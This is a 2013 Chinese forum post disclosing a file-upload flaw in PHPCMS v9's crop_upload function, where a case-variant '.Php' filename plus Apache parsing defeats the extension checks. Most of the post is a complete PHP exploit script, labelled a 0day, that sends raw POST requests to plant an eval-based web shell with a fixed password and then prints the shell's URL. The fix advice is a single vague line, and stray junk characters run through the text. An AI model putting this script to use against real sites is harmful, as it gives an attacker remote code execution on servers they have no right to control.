找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2462|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
+ m0 I% Y/ e& [* f2 V9 |4 n- u6 H4 ]
简要描述:
. l2 i/ w# T7 W- z' h' k/ w  o) M" C
# h6 l% b# b( ]3 r/ ~; Mphpcms v9 getshell (apache)5 ^% i0 ?4 t' a8 S+ B
详细说明:
- D9 q! G9 E+ k: o
4 i& q  u/ h* f6 H" J8 {5 T- O漏洞文件:phpcms\modules\attachment\attachments.php
7 \5 \1 R1 x0 r" o* R
1 K# \3 Q5 @* W. b2 ]& `public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } 0 q9 T9 _+ a2 G
后缀检测:phpcms\modules\attachment\functions\global.func.php5 @3 `$ S. D2 j6 ]/ a
2 [. R6 Z; `! Q1 j  z

8 _& k) l/ _0 e+ A+ X' [, |& S9 B) x9 f: T  G6 G8 }$ I
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
! ~7 U& `/ H7 }6 p4 y0 }- E
4 G6 L8 R$ P' c8 }/ K' C关键函数:
& J& x! {) {3 m  w! S4 {0 f  V' }1 A' A3 B& B2 T

* c* ]% d" d0 ]  \$ k# {' T& S3 ~2 A* m# {0 i/ v
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  , Z4 j  ~7 ~8 T" f4 b* e

& y% \" q" S3 A* \/ j5 s  Fileext函数是对文件后缀名的提取。
9 ^3 t- d4 M: \' u" M根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php5 c; o4 G% Q" j- o2 z5 T! s# c) d
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。& w- a; O' _* G6 B: K
我们回到public function crop_upload() 函数中
9 `) n- }, W6 E) c  H) R% }: G  _' |if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
6 F8 u2 N; d8 t2 E在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
- B+ S$ \( b! c$ H这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。% a5 Z8 o' H0 M' m1 j
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。% I' p/ y, G0 o' W
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
- @; u2 |% Y' C: z5 R看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。. [% ?! Q% }7 u) a& R" I- r
漏洞证明:( @& A, @* L7 r# _7 [

- z6 z% R) f; J! w7 \exp:
* ~7 P+ {& P% p" K# l; {( m7 H9 W$ c' T1 M# D+ t+ p
<?php- o; X1 P! W. w: q  j0 m. J  E+ {+ h
error_reporting(E_ERROR);
' C7 _' A8 }) q$ z3 ]$ F3 p) p* uset_time_limit(0);: P; H8 A6 `4 b: \3 d
$pass="ln";
+ d( Y4 |) T1 p  i+ dprint_r('
8 f8 }# G6 k6 m- k2 E2 y: G+---------------------------------------------------------------------------+6 \- Q% g/ S, w  z& f8 k
PHPCms V9 GETSHELL 0DAY ) O/ r; V, S9 A: _& a. Q* n/ t
code by L.N.
" B$ E! c* @: T% v0 ?% R* P" p" z: I
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
1 r* n# y" t. t0 G# }# `5 D/ b; X+ G+---------------------------------------------------------------------------+; G5 \7 @# X/ @( R: x( z
');
& F7 Z& ]7 w) X' s% @if ($argc < 2) {
  w' z2 ^" K+ o8 Rprint_r('
% h, b/ q5 s8 F+---------------------------------------------------------------------------+
) ]8 ^& F8 E8 aUsage: php '.$argv[0].' url path
. \5 T) z) q* Q( c; V
: D; z# w/ V: e1 E  nExample:
1 ~8 |* O( F7 k* Z$ w& E1.php '.$argv[0].' lanu.sinaapp.com. a9 _3 L) |; D) ~+ M* \
2.php '.$argv[0].' lanu.sinaapp.com /phpcms/ w; b" C7 O/ L: L0 v2 H, F
+---------------------------------------------------------------------------+
' t9 d  u- y" O6 k');- ?$ {5 h2 \& s/ F7 Y
exit;8 o( \& ]5 e/ j1 C5 K, D
}
( a5 u4 E3 I, o# M* k) J
) _6 V$ g2 `: [' U: {$ q$url = $argv[1];5 m4 \; y. u2 @3 l' j: Q
$path = $argv[2];) V5 A. g& D; j# ]  W4 h  Z" b( a
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
: N. `# u, }3 e. r$ `; A1 Q3 r$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';# U+ H: x7 [$ P# L; A2 x
if($ret=Create_dir($url,$path))
  Q/ }7 [' ^. V0 B! o{
$ c; x/ \6 P5 {" ?9 j  z+ o//echo $ret;
5 d* t4 M+ [; r% H+ u, d$pattern = "|Server:[^,]+?|U";
$ I/ Y' ?" B/ V, A6 {. cpreg_match_all($pattern, $ret, $matches);
/ t% g$ J) e5 H$ z) Aif($matches[0][0])$ |# H; R; ?, E; h
{
4 `1 Z! k" a% Lif(strpos($matches[0][0],'Apache') == false)
; D2 _: v% q1 C5 m{; J1 K& T5 q, U  y. g7 K4 [! ?
echo "\n亲!此网站不是apache的网站。\n";exit;$ C& ^: H" K9 a( j5 L7 ^9 k+ Y
}9 E+ ?3 f' }+ [
}8 N# c9 ^' k  `( Q
$ret = GetShell($url,$phpshell,$path,$file);5 c4 R( G1 P- X7 [' b6 p3 C
$pattern = "|http:\/\/[^,]+?\.,?|U";* e+ u0 w, t# j1 C( }4 V$ x6 P
preg_match_all($pattern, $ret, $matches);% }/ L. j$ m: `2 k% ?
if($matches[0][0])
$ B$ Q  _5 T( N9 e7 e{6 f* Z) ~; Z4 ?( W6 O
echo "\n".'密码为: '.$pass."\n";0 ~+ l: A6 L+ b2 |
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
9 ^+ J1 h6 u- B' E! b! L7 ?7 @1 K}
. Y: X5 g) D8 C4 Welse% f3 X( ~' e7 m/ b, N
{. w$ c3 t; N$ x4 \' k
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
, B/ h% T* u; T8 qpreg_match_all($pattern, $ret, $matches);5 C; @2 N' {% o- _
if($matches[0][0])  d3 ?3 w& d0 i+ ^
{5 l' N1 }# w9 \
echo "\n".'密码为: '.$pass."\n";) w+ J" Z! [8 p6 p9 k  M
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
; |: }7 {; _7 B}
  {! z) e3 `6 R4 R. [. Aelse+ R- N! L8 L3 n) R) E; n! [# S- p
{: u' O8 W* J) I' A7 Q% n
echo "\r\n没得到!\n";exit;, z' E6 w# n/ T9 G
}! u. J9 A4 I) m, r- Y
}
# R8 f/ j% v; A5 G4 H}( `+ f5 t- z8 y
0 {, h* n! O8 e3 }4 |8 {, ]; ~
function GetShell($url,$shell,$path,$js)
# `) y. r2 c- v. O( a{- c/ J8 P: ?6 M) g, E6 H
$content =$shell;2 Q9 E2 N% X' z5 V
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
( k% I3 r- a/ ^. ^- S$data .= "Host: ".$url."\r\n";
( Q7 @3 a% {' V9 B0 E$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
1 K* ~8 V6 Q" [" ^' F8 ~4 F. G$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";9 s  Z5 b( _, P7 N+ F8 Q
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
" F2 b. ]. q$ D$data .= "Connection: close\r\n";) G* A& Y# x, U' K' H
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";- T6 b+ E) q& y! h! ~" j: Z
$data .= $content."\r\n";/ M, p5 o5 @7 d$ e
$ock=fsockopen($url,80);
5 l$ F. o! W4 A1 oif (!$ock)
, T. D) K' ]  j! t, H$ |{
% S5 y7 ]* I& o4 t- yecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
, l2 d8 K: G- J( A}+ g+ Y/ m7 y: \
else
% g- l! ~. P& E4 h) M5 K{: g! b1 _' l2 h9 K/ T! J
fwrite($ock,$data);2 N  o; X. f; E& ^* ^" t( [1 g
$resp = '';
  t* G: Q$ `" e6 R8 ~while (!feof($ock))
' g2 Z" @2 j. n; W* ~{
; ^* {' y7 u+ v3 Y5 O0 |7 i9 n* @$resp.=fread($ock, 1024);: A5 f7 P9 {+ A: v. j
}3 F& `7 L0 t# {: V. _3 }+ \
return $resp;
) Y* m; e% {& g7 n9 C) K" i}
% X; s' a% G* F$ K% y6 z}3 e: b3 r# W- i/ u) `0 \5 |4 ]
1 v2 U  t# O/ ]# U5 _
function Create_dir($url,$path='')7 e1 K, G" C9 Z. w1 ^- a6 [7 I2 _
{( J1 M' }) `1 G7 s; n  a
$content ='I love you';! J! ~0 V$ L) X6 P
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
3 H6 c: P; ?3 F# C* {$data .= "Host: ".$url."\r\n";; H+ n$ t% H, A/ J3 k7 K
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
1 i# C4 m( ]. W( `+ ~+ V& w  F$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";4 n; U2 ?9 f: i# {7 D% A
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
9 j1 U0 o7 z# W) ^$data .= "Connection: close\r\n";
/ J/ i$ t4 B  h$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
2 h" }  y  E2 V3 r& u1 t$data .= $content."\r\n";* _" Z3 M4 W0 X! X/ D3 [
$ock=fsockopen($url,80);; f& G( E8 l7 n: e) a- v7 O
if (!$ock)! U% r$ r% C$ h6 x- ~* R$ S0 H
{
0 v9 A$ b, L7 ]9 r; F8 secho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
' _: Y- \& z% \1 G& n8 x4 U}
* T$ B3 D2 P: ~% ?1 H4 [fwrite($ock,$data);
  W( P$ R1 L6 P  Y! s$resp = '';
. O9 C* t# B+ k% ?7 r" lwhile (!feof($ock))" e6 r( }9 u( n) O
{
  t0 B& ?  e5 x8 i! k$resp.=fread($ock, 1024);$ s2 m* q( A; N& }( Z- l+ R
}
8 o, F, |2 A& _" ~2 `8 ]1 Preturn $resp;1 W+ K+ z$ W; A4 x, @# c; V. P
}
# w( L0 k- e9 z1 o  U?>
1 Q' O( t% i3 E+ q# q7 o5 `
( X. c: G' g6 w6 q& ~5 y修复方案:
; r# e2 t" t- |- V7 O4 S0 r5 |" v3 b/ o; w5 \5 r; X; |; _
过滤过滤再过滤
4 i% \5 h- Z& H; N7 `1 s% ~- Y5 t! `) j2 j) Q' T( P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表